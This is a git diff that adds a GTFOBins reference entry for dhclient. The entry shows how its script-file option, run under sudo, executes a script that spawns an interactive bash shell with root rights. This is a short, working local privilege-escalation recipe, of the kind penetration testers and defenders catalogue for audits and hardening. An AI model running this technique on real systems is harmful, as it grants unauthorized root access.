diff --git a/_gtfobins/dhclient.md b/_gtfobins/dhclient.md new file mode 100644 index 0000000..228b73a --- /dev/null +++ b/_gtfobins/dhclient.md @@ -0,0 +1,12 @@ +--- +functions: + sudo: + - description: The below technique utilizies `dhclient`'s script file option (`-sf`) to execute arbitrary commands with `sudo`. + code: | + cat > /tmp/script.sh << EOF + #!/bin/bash + bash -i + EOF + chmod +x /tmp/script.sh + sudo dhclient -sf /tmp/script.sh +---